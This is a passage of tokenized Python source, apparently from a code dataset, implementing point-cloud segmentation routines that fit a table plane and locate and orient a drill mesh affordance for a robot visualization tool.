"Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "0.03_", ",_", "0.4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "Region_", "=_", "crop", "To", "Sphere", "_", "(_", "search", "Region_", ",_", "point2_", ",_", "0.30", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "drill", "Points_", "=_", "extract", "Large", "st", "Cluster_", "(_", "search", "Region_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "To", "Top", "Point_", "=_", "np_", "._", "array_", "(_", "[_", "-_", "0.002", "904", "_", ",_", "-_", "0.010", "029", "_", ",_", "0.15", "318", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "za", "xis_", "=_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "point", "3_", "-_", "point2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "-_", "drill", "To", "Top", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "point2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Mesh_", "=_", "get", "Dri", "ll", "Mesh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "_", "=_", "show", "Poly", "Data_", "(_", "drill", "Mesh_", ",_", "'", "drill", "'_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "Frame_", "(_", "t_", ",_", "'", "drill", " ", "frame", "'_", ",_", "parent_", "=_", "aff", "_", ",_", "visible_", "=_", "False_", ")_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "get", "Dri", "ll", "Aff", "orda", "nce", "Params_", "(_", "origin_", ",_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "make", "Mo", "vable", "_", "(_", "obj_", ",_", "initial", "Transform_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Add", "s", " ", "a", " ", "child", " ", "frame", " ", "to", " ", "the", " ", "give", "n", " ", "Poly", "Data", "Item", ".", " ", " ", "If", " ", "initial", "Transform", " ", "is", " ", "not", "\\", "10", ";", " ", " ", " ", " ", "give", "n", ",", " ", "then", " ", "an", " ", "orig", "in", " ", "frame", " ", "is", " ", "compute", "d", " ", "for", " ", "the", " ", "poly", "data", " ", "usi", "ng", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "center", " ", "and", " ", "orientation", " ", "of", " ", "the", " ", "orient", "ed", " ", "bound", "ing", " ", "of", " ", "the", " ", "poly", "data", ".", " ", " ", "The", " ", "poly", "data", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "transforme", "d", " ", "usi", "ng", " ", "the", " ", "inv", "erse", " ", "of", " ", "initial", "Transform", " ", "and", " ", "then", " ", "a", " ", "child", " ", "frame", "\\", "10", ";", " ", " ", " ", " ", "is", " ", "assign", "ed", " ", "to", " ", "the", " ", "object", " ", "to", " ", "repos", "ition", " ", "it", ".", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pd_", "=_", "obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "initial", "Transform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "t_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "origin_", ",_", "edges_", ",_", "wire", "frame_", "=_", "get", "Orient", "ed", "Bound", "ing", "Box_", "(_", "pd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "edge", "Length", "s_", "=_", "np_", "._", "array_", "(_", "[_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge_", ")_", "for_", "edge_", "in_", "edges_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "axes_", "=_", "[_", "edge_", "/_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge_", ")_", "for_", "edge_", "in_", "edges_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "box", "Center_", "=_", "compute", "Centro", "id_", "(_", "wire", "frame_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "axes_", "[_", "0_", "]_", ",_", "axes_", "[_", "1_", "]_", ",_", "axes_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "box", "Center_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pd_", "=_", "transform", "Poly", "Data_", "(_", "pd_", ",_", "t_", "._", "Get", "Linea", "r", "Inv", "erse", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Poly", "Data_", "(_", "pd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frame_", "=_", "obj_", "._", "get", "Chil", "d", "Frame_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "frame_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "._", "copy", "Frame_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "frame_", "=_", "vis_", "._", "show", "Frame_", "(_", "t_", ",_", "obj_", "._", "get", "Property_", "(_", "'", "Name", "'_", ")_", "+_", "'", " ", "frame", "'_", ",_", "parent_", "=_", "obj_", ",_", "scale_", "=_", "0.2_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Dri", "ll", "Auto", "_", "(_", "point1_", ",_", "poly", "Data_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "poly", "Data_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expected", "Normal_", "=_", "np_", "._", "array_", "(_", "[_", "0.0_", ",_", "0.0_", ",_", "1.0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data_", ",_", "origin_", ",_", "normal_", "=_", "appl", "y", "Plan", "e", "Fit_", "(_", "poly", "Data_", ",_", "expected", "Normal_", "=_", "expected", "Normal_", ",_", "perp", "endi", "cula", "r", "Axis_", "=_", "expected", "Normal_", ",_", "search", "Origin_", "=_", "point1_", ",_", "search", "Radius_", "=_", "0.4_", ",_", "angle", "Eps", "ilon", "_", "=_", "0.2_", ",_", "return", "Origin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "table", "Points_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "-_", "0.01_", ",_", "0.01_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "table", "Points_", ",_", "'", "table", " ", "plane", " ", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "table", "Points_", "=_", "label", "Distan", "ce", "To", "Point_", "(_", "table", "Points_", ",_", "point1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "Point", "s", "Cluster", "s_", "=_", "extract", "Cluster", "s_", "(_", "table", "Points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "Point", "s", "Cluster", "s_", "._", "sort_", "(_", "key_", "=_", "lambda_", "x_", ":_", "vtk", "Num", "py_", "._", "get", "Num", "py", "Fro", "m", "Vt", "k_", "(_", "x_", ",_", "'", "distance", "\\u", "to", "\\u", "point", "'_", ")_", "._", "min_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "table", "Points_", "=_", "table", "Point", "s", "Cluster", "s_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "table", "Points_", ",_", "'", "table", " ", "points", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "search", "Region_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "0.03_", ",_", "0.4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "search", "Region_", "=_", "crop", "To", "Sphere", "_", "(_", "search", "Region_", ",_", "point1_", ",_", "0.30", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "drill", "Points_", "=_", "extract", "Large", "st", "Cluster_", "(_", "search", "Region_", ",_", "min", "Cluster", "Size_", "=_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "dete", "rmin", "e", " ", "drill", " ", "orientation", " ", "(", "rotati", "on", " ", "abo", "ut", " ", "z", " ", "axis", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "centroids_", "=_", "compute", "Centro", "ids_", "(_", "drill", "Points_", ",_", "axis_", "=_", "normal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "centroid", "s", "Poly", "Data_", "=_", "vtk", "Num", "py_", "._", "get", "Vt", "k", "Poly", "Data", "Fro", "m", "Num", "py", "Points_", "(_", "centroids_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "d_", "=_", "Deb", "ug", "Data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "centroid", "s", "Poly", "Data_", ",_", "'", "cluster", " ", "centroid", "s", "'_", ",_", "parent_", "=_", "get", "Deb", "ug", "Folder_", "(_", ")_", ",_", "visible_", "=_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "To", "Top", "Point_", "=_", "np_", "._", "array_", "(_", "[_", "-_", "0.002", "904", "_", ",_", "-_", "0.010", "029", "_", ",_", "0.15", "318", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "za", "xis_", "=_", "normal_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "centroids_", "[_", "0_", "]_", "-_", "centroids_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "note", " ", "this", " ", "hack", " ", "to", " ", "orient", " ", "the", " ", "drill", " ", "correct", "ly", ":_", "\\u\\u\\uNL\\u\\u\\u_", "t_", "=_", "get", "Transform", "Fro", "m", "Axes_", "(_", "yaxis_", ",_", "-_", "xaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Pre", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "-_", "drill", "To", "Top", "Point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Post", "Multiply", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "t_", "._", "Translate", "_", "(_", "centroids_", "[_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Mesh_", "=_", "get", "Dri", "ll", "Mesh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "_", "=_", "show", "Poly", "Data_", "(_", "drill", "Mesh_", ",_", "'", "drill", "'_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "t_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "show", "Frame_", "(_", "t_", ",_", "'", "drill", " ", "frame", "'_", ",_", "parent_", "=_", "aff", "_", ",_", "visible_", "=_", "False_", ",_", "scale_", "=_", "0.2_", ")_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "params_", "=_", "get", "Dri", "ll", "Aff", "orda", "nce", "Params_", "(_", "origin_", ",_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "set", "Aff", "orda", "nce", "Params_", "(_", "params_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "update", "Param", "s", "Fro", "m", "Act", "or", "Transform_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Dri", "ll", "Aligned", "With", "Table_", "(_", "point_", ",_", "poly", "Data_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "'''", "\\", "10", ";", " ", " ", " ", " ", "Ye", "t", " ", "Ano", "ther", " ", "Dri", "ll", " ", "Fitt", "ing", " ", "Algorit", "hm", " ", "[", "tm", "]", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "one", " ", "fits", " ", "the", " ", "button", " ", "drill", " ", "ass", "umi", "ng", " ", "its", " ", "on", " ", "the", " ", "table", "\\", "10", ";", " ", " ", " ", " ", "and", " ", "aligned", " ", "with", " ", "the", " ", "table", " ", "frame", " ", "(", "bec", "aus", "e", " ", "the", " ", "button", " ", "drill", " ", "orientation", " ", "is", " ", "difficult", " ", "to", " ", "find", ")", "\\", "10", ";", " ", " ", " ", " ", "Table", " ", "must", " ", "have", " ", "long", " ", "side", " ", "facing", " ", "robot", "\\", "10", ";", " ", " ", " ", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "poly", "Data_", "or_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "segment", " ", "the", " ", "table", " ", "and", " ", "recover", " ", "the", " ", "precise", " ", "up", " ", "direction", " ", "normal", ":_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data", "Out_", ",_", "table", "Points_", ",_", "origin_", ",_", "normal_", "=_", "segment", "Table_", "(_", "poly", "Data_", ",_", "point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "orig", "in", " ", "#", " ", "this", " ", "orig", "in", " ", "is", " ", "bun", "k_", "\\u\\u\\uNL\\u\\u\\u_", "#", "table", "Centro", "id", " ", "=", " ", "compute", "Centro", "id", "(", "table", "Point", "s", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "get", " ", "the", " ", "bound", "ing", " ", "box", " ", "edges_", "\\u\\u\\uNL\\u\\u\\u_", "OB", "Bor", "igi", "n_", ",_", "edges_", ",_", "\\u_", "=_", "get", "Orient", "ed", "Bound", "ing", "Box_", "(_", "table", "Points_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "OB", "B", " ", "out", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "OB", "Bor", "igi", "n_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "edges_", "\\u\\u\\uNL\\u\\u\\u_", "edge", "Length", "s_", "=_", "np_", "._", "array_", "(_", "[_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge_", ")_", "for_", "edge_", "in_", "edges_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "axes_", "=_", "[_", "edge_", "/_", "np_", "._", "linalg_", "._", "norm_", "(_", "edge_", ")_", "for_", "edge_", "in_", "edges_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "edge", "Length", "s_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "axes_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "check", " ", "whi", "ch", " ", "direction", " ", "the", " ", "robot", " ", "is", " ", "facing", " ", "and", " ", "flip", " ", "x", "-", "axis", " ", "of", " ", "table", " ", "if", " ", "necessar", "y_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Direction_", "=_", "Segmentation", "Context_", "._", "get", "Global", "Instance_", "(_", ")_", "._", "get", "View", "Direction_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "main", " ", "axes", "\",", " ", "axes", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "\"", "view", "Directi", "on", "\",", " ", "view", "Direction_", "\\u\\u\\uNL\\u\\u\\u_", "#", "dp", " ", "=", " ", "np", ".", "dot", "(", "axes", "[", "1", "],", " ", "view", "Directi", "on", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "dp_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "np_", "._", "dot_", "(_", "axes_", "[_", "1_", "]_", ",_", "view", "Direction_", ")_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", " ", "\"", "flip", " ", "the", " ", "x", "-", "direction", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "axes_", "[_", "1_", "]_", "=_", "-_", "axes_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "defin", "e", " ", "the", " ", "x", "-", "axis", " ", "to", " ", "be", " ", "along", " ", "the", " ", "2n", "d", " ", "large", "st", " ", "edge_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "xaxis_", "=_", "axes_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "array_", "(_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "za", "xis_", "=_", "np_", "._", "array_", "(_", "normal_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "=_", "np_", "._", "cross_", "(_", "za", "xis_", ",_", "xaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yaxis_", "/=_", "np_", "._", "linalg_", "._", "norm_", "(_", "yaxis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xaxis_", "=_", "np_", "._", "cross_", "(_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "table", "Orientation_", "=_", "transform", "Utils_", "._", "get", "Transform", "Fro", "m", "Axes_", "(_", "xaxis_", ",_", "yaxis_", ",_", "za", "xis_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "table", "Transform", " ", "=", " ", "transform", "Ut", "il", "s", ".", "frame", "Fro", "m", "Position", "And", "RP", "Y", "(", " ", "table", "Centro", "id", " ", ",", " ", "table", "Orient", "ation", ".", "Get", "Orient", "ation", "()", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "update", "Frame", "(", "table", "Transform", ",", " ", "'", "table", " ", "frame", " ", "[", "z", " ", "up", ",", " ", "x", " ", "awa", "y", " ", "face", "]'", ",", " ", "parent", "=\"", "segmentation", "\",", " ", "visi", "ble", "=", "Tru", "e", ").", "add", "To", "View", "(", "app", ".", "get", "DR", "CV", "iew", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "segment", "Table", "Scene_", "(_", "poly", "Data_", ",_", "point_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "vis", ".", "show", "Cluster", "Object", "s", "(", "data", ".", "cluster", "s", " ", "+", " ", "[", "data", ".", "table", "],", " ", "parent", "='", "segmentation", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "crud", "e", " ", "use", " ", "of", " ", "the", " ", "table", " ", "frame", " ", "to", " ", "dete", "rmin", "e", " ", "the", " ", "frame", " ", "of", " ", "the", " ", "drill", " ", "on", " ", "the", " ", "table_", "\\u\\u\\uNL\\u\\u\\u_", "#", "t2", " ", "=", " ", "transform", "Ut", "il", "s", ".", "frame", "Fro", "m", "Position", "And", "RP", "Y", "([", "0", ",", "0", ",", "0", "],", " ", "[", "180", ",", " ", "0", " ", ",", " ", "90", "]", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "drill", "Orient", "ation", "Transform", " ", "=", " ", "transform", "Ut", "il", "s", ".", "copy", "Frame", "(", " ", "om", ".", "find", "Object", "By", "Name", "('", "object", " ", "1", " ", "frame", "')", ".", "transform", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "drill", "Orient", "ation", "Transform", ".", "Pre", "Multiply", "()", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "drill", "Orient", "ation", "Transform", ".", "Concat", "enat", "e", "(", "t2", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "vis", ".", "update", "Frame", "(", "t", ",", " ", "'", "drill", "Orient", "ation", "Transform", "',", "visi", "ble", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "table", "\\u", "xaxis", ",", " ", "table", "\\u", "yax", "is", ",", " ", "table", "\\u", "za", "xis", " ", "=", " ", "transform", "Ut", "il", "s", ".", "get", "Axe", "s", "Fro", "m", "Transform", "(", " ", "data", ".", "table", ".", "frame", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", "drill", "Orient", "ation", " ", "=", " ", "transform", "Ut", "il", "s", ".", "orientation", "Fro", "m", "Axe", "s", "(", " ", "table", "\\u", "yax", "is", ",", " ", "table", "\\u", "xaxis", ",", " ", " ", "-1", "*", "np", ".", "array", "(", " ", "table", "\\u", "za", "xis", ")", " ", ")_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Transform_", "=_", "transform", "Utils_", "._", "frame", "Fro", "m", "Position", "And", "RP", "Y_", "(_", "data_", "._", "clusters_", "[_", "0_", "]_", "._", "frame_", "._", "Get", "Position_", "(_", ")_", ",_", "table", "Orientation_", "._", "Get", "Orientation_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "Mesh_", "=_", "get", "Dri", "ll", "Mesh_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "drill", "_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "drill", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "om_", "._", "remove", "Fro", "m", "Object", "Model_", "(_", "drill", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "aff", "_", "=_", "show", "Poly", "Data_", "(_", "drill", "Mesh_", ",_", "'", "drill", "'_", ",_", "color_", "=_", "[_", "0.0_", ",_", "1.0_", ",_", "0.0_", "]_", ",_", "cls_", "=_", "Frame", "Aff", "orda", "nce", "Item_", ",_", "visible_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "actor_", "._", "Set", "User", "Transform_", "(_", "drill", "Transform_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aff", "_", "._", "add", "To", "View_", "(_", "app_", "._", "get", "DR", "CV", "iew_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frame", "Obj_", "=_", "update", "Frame_", "(_", "drill", "Transform_", ",_", "'", "drill", " ", "frame", "'_", ",_", "parent_", "=_", "aff", "_", 